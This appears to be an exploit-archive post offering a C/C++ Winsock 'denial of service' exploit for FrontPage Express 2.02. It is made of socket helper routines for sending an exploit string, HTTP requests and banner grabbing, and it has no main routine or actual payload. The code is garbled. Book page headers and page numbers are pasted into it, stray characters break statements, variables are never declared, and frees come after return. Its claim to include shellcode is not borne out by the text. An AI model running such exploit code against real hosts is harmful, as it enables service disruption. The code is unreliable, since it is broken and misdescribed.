# Title :frontpage_express2.02 Denial of Service winsock # Author :TrOoN # E-mail : SOUrRce-x@live.fr | www.facebook.com/fysl.fyslm # Home : city 617 logts : Draria . algeria # Web Site : www.1337day.com | # platform : WinDows XP sp 2 # Type : local exploit /SHELL CODE /ETc... #Download link : http://www.jetelecharge.com/Internet/271.php # waRn : frontpage_express2.02 no frontpage ~~ ######################################## Begin ################################## #include <winsock2.h> #pragma comment(lib,"ws2_32.lib") #define STRING_MAX 65536 #define MAX 8388608 char *junk(char *input, int repeat) { int maxSize; char *junkString = new char[STRING_MAX]; strcpy(junkString, ""); if( repeat < STRING_MAX && repeat > 0 && strlen(input) != 0 && strlen(input) <= (STRING_MAX - 1)) { maxSize = (STRING_MAX - 1)/strlen(input); for(int count = 0; count < repeat && count < maxSize; count++) { strcat(junkString, input); } } else { 23 printf("Invalid Perameters! \n"); strcpy(junkString,"--FAILURE--"); : } delete [ ] junkString; return (junkString); } bool is_up(char *targetip, int port) { WSADATA wsaData; WORD wVersionRequested; struct hostent target_ptr; struct sockaddr_in sock; SOCKET MySock; wVersionRequested = MAKEWORD(2, 2); 3if (WSAStartup(wVersionRequested, &wsaData) < 0) { printf("############ERROR!####################\n"); printf("Your ws2_32.dll is too old to use this application. \n"); printf("Go to microsofts web site to download the most recent \n"); 42 printf("version of ws2_32.dll. \n"); Frontpage Denial of Service WinSock • Case Study 1 145 WSACleanup(); return (FALSE); } MySock = socket(AF_INET, SOCK_STREAM, 0); if(MySock==INVALID_SOCKET) { printf("Socket error!\r\n"); closesocket(MySock); WSACleanup(); return (FALSE); } if ((pTarget = gethostbyname(targetip)) == NULL) { printf("\nResolve of %s failed, please try again.\n", targetip); closesocket(MySock); WSACleanup(); return (FALSE); } memcpy(&sock.sin_addr.s_addr, pTarget->h_addr, pTarget->h_length); sock.sin_family = AF_INET; sock.sin_port = htons((USHORT)port); if ( (connect(MySock, (struct sockaddr *)&sock, sizeof (sock) ))) { closesocket(MySock); WSACleanup(); return (FALSE); } else { closesocket(MySock); WSACleanup(); return (TRUE); } } bool is_string_in(char *needle, char *haystack) { char *loc = strstr(haystack, needle); if( loc != NULL ) { return(TRUE); } else { return(FALSE); } } char *replace_string(char *new_str, char *old_str, char *whole_str) Case Study 1 • Frontpage Denial of Service Utilizing WinSock { int len = strlen(old_str); char buffer[MAX] = ""; char *loc = strstr(whole_str, old_str); if(loc != NULL) { strncpy(buffer, whole_str, loc-whole_str ); strcat(buffer, new_str); strcat(buffer, loc + (strlen(old_str))); strcpy(whole_str, buffer); } return whole_str; } char *send_exploit(char *targetip, int port, char *send_string) { WSADATA wsaData; WORD wVersionRequested; struct hostent target_ptr; struct sockaddr_in sock; SOCKET MySock; wVersionRequested = MAKEWORD(2, 2); if (WSAStartup(wVersionRequested, &wsaData) != 0) { printf("############### ERROR!######################\n"); printf("Your ws2_32.dll is too old to use this application. \n"); printf("Go to Microsoft's web site to download the most recent \n"); printf("version of ws2_32.dll. \n"); WSACleanup(); exit(1); } MySock = socket(AF_INET, SOCK_STREAM, 0); if(MySock==INVALID_SOCKET) { printf("Socket error!\r\n"); closesocket(MySock); WSACleanup(); exit(1); } if ((pTarget = gethostbyname(targetip)) == NULL) { printf("Resolve of %s failed, please try again.\n", targetip); closesocket(MySock); WSACleanup(); exit(1); Frontpage Denial of Service Utilizing WinSock • Case Study 1 147 } memcpy(&sock.sin_addr.s_addr, pTarget->h_addr, pTarget->h_length); sock.sin_family = AF_INET; sock.sin_port = htons((USHORT)port); if ( (connect(MySock, (struct sockaddr *)&sock, sizeof (sock) ))) { printf("Couldn't connect to host.\n"); closesocket(MySock); WSACleanup(); exit(1); } char sendfile[STRING_MAX]; strcpy(sendfile, send_string); if (send(MySock, sendfile, sizeof(sendfile)-1, 0) == -1) { printf("Error sending Packet\r\n"); closesocket(MySock); exit(1); } send(MySock, sendfile, sizeof(sendfile)-1, 0); char *recvString = new char[MAX]; int nret; nret = recv(MySock, recvString, MAX + 1, 0); char *output= new char[nret]; strcpy(output, ""); if (nret == SOCKET_ERROR) { printf("Attempt to receive data FAILED. \n"); } else { strncat(output, recvString, nret); delete [ ] recvString; } closesocket(MySock); WSACleanup(); return (output); delete [ ] output; } char *get_http(char *targetip, int port, char *file) { WSADATA wsaData; WORD wVersionRequested; struct hostent target_ptr; struct sockaddr_in sock; SOCKET MySock; Case Study 1 • Frontpage Denial of Service Utilizing WinSock wVersionRequested = MAKEWORD(2, 2); if (WSAStartup(wVersionRequested, &wsaData) < 0) { printf("################# ERROR! ###################\n"); printf("Your ws2_32.dll is too old to use this application. \n"); printf("Go to microsofts web site to download the most recent \n"); 195 printf("version of ws2_32.dll. \n"); WSACleanup(); exit(1); } MySock = socket(AF_INET, SOCK_STREAM, 0); if(MySock==INVALID_SOCKET) { printf("Socket error!\r\n"); closesocket(MySock); WSACleanup(); exit(1); } if ((pTarget = gethostbyname(targetip)) == NULL) { printf("Resolve of %s failed, please try again.\n", targetip); closesocket(MySock); WSACleanup(); exit(1); } memcpy(&sock.sin_addr.s_addr, pTarget->h_addr, pTarget->h_length); sock.sin_family = AF_INET; sock.sin_port = htons((USHORT)port); if ( (connect(MySock, (struct sockaddr *)&sock, sizeof (sock) ))) { printf("Couldn't connect to host.\n"); closesocket(MySock); WSACleanup(); exit(1); } char sendfile[STRING_MAX]; strcpy(sendfile, "GET "); strcat(sendfile, file); strcat(sendfile, " HTTP/1.1 \r\n" ); strcat(sendfile, "Host: localhost\r\n\r\n"); Frontpage Denial of Service Utilizing WinSock • Case Study 1 149 if (send(MySock, sendfile, sizeof(sendfile)-1, 0) == -1) { printf("Error sending Packet\r\n"); closesocket(MySock); WSACleanup(); exit(1); } send(MySock, sendfile, sizeof(sendfile)-1, 0); char *recvString = new char[MAX]; int nret; nret = recv(MySock, recvString, MAX + 1, 0); char *output= new char[nret]; strcpy(output, ""); if (nret == SOCKET_ERROR) { printf("Attempt to receive data FAILED. \n"); } else { strncat(output, recvString, nret); delete [ ] recvString; } closesocket(MySock); WSACleanup(); return (output); delete [ ] output; } char *banner_grab(char *targetip, int port) { char start_banner[] = "Server:"; char end_banner[] = "\n"; int start = 0; int end = 0; char* ret_banner = new char[MAX]; char* buffer = get_http(targetip, port, "/"); int len = strlen(buffer); char *pt = strstr(buffer, start_banner ); if( pt != NULL ) { start = pt - buffer; for(int x = start; x < len; x++) { if(_strnicmp( buffer + x, end_banner, 1 ) == 0) { Case Study 1 • Frontpage Denial of Service Utilizing WinSock end = x; x = len; } } strcpy(ret_banner, " "); strncat (ret_banner, buffer + start - 1 , (end - start)); } else { strcpy(ret_banner, "EOF"); } return (ret_banner); delete [ ] ret_banner; } ################### ENd ########################